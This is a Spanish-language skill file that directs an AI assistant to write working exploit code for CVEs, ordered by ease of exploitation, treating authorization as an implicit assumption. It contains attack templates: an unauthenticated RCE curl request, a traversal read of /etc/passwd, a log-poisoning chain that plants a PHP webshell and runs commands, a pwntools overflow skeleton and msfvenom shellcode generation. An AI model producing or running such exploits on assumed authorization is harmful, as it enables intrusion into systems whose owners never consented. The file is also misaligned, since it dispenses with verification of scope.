| name | cve-exploit |
| description | Usar esta skill cuando el usuario tenga vulnerabilidades CVE ya confirmadas mediante POC y necesite: código de explotación (exploit), scripts en Bash/Python/C para demostrar la vulnerabilidad, o enlaces a exploits públicos en Exploit-DB, GitHub, PacketStorm, etc. Activa cuando se mencionen: exploit, explotación, CVE confirmado, script de ataque, POC funcional, payload, reverse shell, RCE, LPE, SQLi exploit, buffer overflow exploit. Prerequisito implícito: vulnerabilidad ya confirmada en entorno autorizado.
|
Skill: Explotación de CVEs Confirmados (Hacking Ético)
Genera código funcional y referencias de exploit para CVEs confirmados, ordenados por
facilidad de explotación. Contexto: auditoría ofensiva autorizada / pentesting profesional.
Prerequisitos (verificar antes de generar)
Si no se cumplen, indicar que se requiere confirmación previa de la vulnerabilidad.
PASO 1 — Recibir lista de CVEs confirmados
El usuario debe proporcionar (o extraer de conversación previa):
| CVE | Servicio/Componente | Versión afectada | CVSS | POC confirmado |
|---|
| CVE-XXXX-YYYY | Apache / OpenSSH / ... | x.x.x | 9.8 | Sí |
Si no hay tabla, extraer de los hallazgos mencionados en la conversación.
PASO 2 — Ordenar por facilidad de explotación
Criterios de ordenación (de más fácil a más difícil):
| Nivel | Criterio | Ejemplos |
|---|
| ★★★★★ Trivial | Un comando, sin autenticación, exploit público funcional | CVEs con metasploit module, 1-liner curl/bash |
| ★★★★☆ Fácil | Script <50 líneas, condiciones mínimas | SQLi ciego con payload directo, credenciales defecto |
| ★★★☆☆ Medio | Requiere setup, ajuste de offsets o condiciones | Buffer overflow con ASLR, SSRF encadenado |
| ★★☆☆☆ Difícil | Race condition, heap spray, bypass mitigaciones | UAF, type confusion, bypass ASLR+NX |
| ★☆☆☆☆ Complejo | Cadena multi-vuln, conocimiento profundo | Kernel exploits, 0-days encadenados |
PASO 3 — Output por CVE
Para cada CVE, generar en este orden:
CVE-XXXX-YYYY — [Nombre Descriptivo]
Metadata:
CVSS v3.1: X.X [CRÍTICA/ALTA/MEDIA]
Tipo: RCE / LPE / SQLi / XSS / DoS / ...
Afecta: Software vX.X - vY.Y
Auth requerida: No / Sí (usuario/admin)
Red requerida: Remota / Local / Adyacente
Facilidad: ★★★★★ Trivial
Módulo MSF: exploit/multi/... (si existe)
Fuentes públicas de exploit:
Exploit-DB: https://www.exploit-db.com/exploits/XXXXX
GitHub: https://github.com/user/repo
NVD: https://nvd.nist.gov/vuln/detail/CVE-XXXX-YYYY
Packetstorm: https://packetstormsecurity.com/files/XXXXX/
Nuclei: https://github.com/projectdiscovery/nuclei-templates
Exploit — Bash Shell:
#!/bin/bash
TARGET="$1"
PORT="${2:-80}"
Exploit — Python3:
import argparse, socket, requests
def exploit(target, port):
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True)
parser.add_argument("--port", type=int, default=80)
args = parser.parse_args()
exploit(args.target, args.port)
Exploit — C (si aplica para buffer overflow / kernel):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
return 0;
}
Verificación de éxito:
# Indicadores de explotación exitosa:
- [qué output/comportamiento confirma el éxito]
- [comando para verificar acceso / ejecución]
PASO 4 — Tabla resumen final
Generar tabla ordenada de más fácil a más difícil:
| # | CVE | CVSS | Tipo | Facilidad | Lenguaje exploit | Exploit-DB | Módulo MSF |
|---|
| 1 | CVE-XXXX | 9.8 | RCE | ★★★★★ | bash/python | ID | sí/no |
| 2 | ... | ... | ... | ★★★☆☆ | python/C | ID | sí/no |
Fuentes de exploits públicos — Referencias principales
# Bases de datos de exploits
https://www.exploit-db.com/ # Exploit-DB (Offensive Security)
https://packetstormsecurity.com/ # PacketStorm Security
https://vuldb.com/ # VulDB
https://sploitus.com/ # Sploitus (agregador)
# GitHub — búsqueda de exploits
https://github.com/search?q=CVE-XXXX-YYYY # Buscar por CVE en GitHub
https://github.com/trickest/cve # CVE PoC en GitHub (trickest)
https://github.com/nomi-sec/PoC-in-GitHub # PoC-in-GitHub (índice)
https://github.com/projectdiscovery/nuclei-templates # Nuclei templates
# Metasploit
https://www.metasploit.com/modules/ # Módulos MSF online
msfconsole> search cve:XXXX-YYYY # Búsqueda local en MSF
# Referencia CVE
https://nvd.nist.gov/vuln/detail/CVE-XXXX # NVD — NIST
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-XXXX # MITRE CVE
https://www.cvedetails.com/cve/CVE-XXXX/ # CVEDetails
# Kali Linux — herramientas integradas
searchsploit CVE-XXXX-YYYY # Búsqueda local Exploit-DB
msfconsole -q -x "search cve:XXXX-YYYY" # Módulos Metasploit
Plantillas de exploit por tipo de vulnerabilidad
RCE sin autenticación (tipo más crítico / más fácil)
curl -s -X POST "http://$TARGET/vulnerable_endpoint" \
--data "param=$(python3 -c 'import urllib.parse; print(urllib.parse.quote("id"))')" \
-H "Content-Type: application/x-www-form-urlencoded"
SQLi — extracción de datos
import subprocess
def run_sqlmap(target_url, param):
cmd = ["sqlmap", "-u", target_url, "-p", param, "--dbs", "--batch"]
subprocess.run(cmd)
Buffer Overflow — esqueleto con pwntools
from pwn import *
OFFSET = 0
RET_ADDR = 0x0
SHELLCODE = b""
payload = b"A" * OFFSET + p32(RET_ADDR) + b"\x90" * 16 + SHELLCODE
io = remote("TARGET", PORT)
io.sendline(payload)
io.interactive()
LPE (Local Privilege Escalation)
gcc -o lpe_exploit exploit.c && ./lpe_exploit
id && whoami
Path Traversal / LFI → RCE
curl "http://$TARGET/page?file=../../../../etc/passwd"
curl -A "<?php system(\$_GET['cmd']); ?>" "http://$TARGET/"
curl "http://$TARGET/page?file=../../../../var/log/apache2/access.log&cmd=id"
Notas de uso
- Todo código generado incluye comentario
# Contexto: Auditoría autorizada únicamente
- Para exploits de stack overflow: calcular offset con
pattern_create (Metasploit) o cyclic (pwntools)
- Para exploits remotos: verificar siempre en laboratorio antes de ejecutar en scope real
- Shellcodes: generar con
msfvenom -p <payload> LHOST=X LPORT=Y -f <format>
- Si el CVE tiene módulo Metasploit: indicarlo siempre como opción preferente por estabilidad
- Nuclei templates: opción para detección automatizada sin exploit destructivo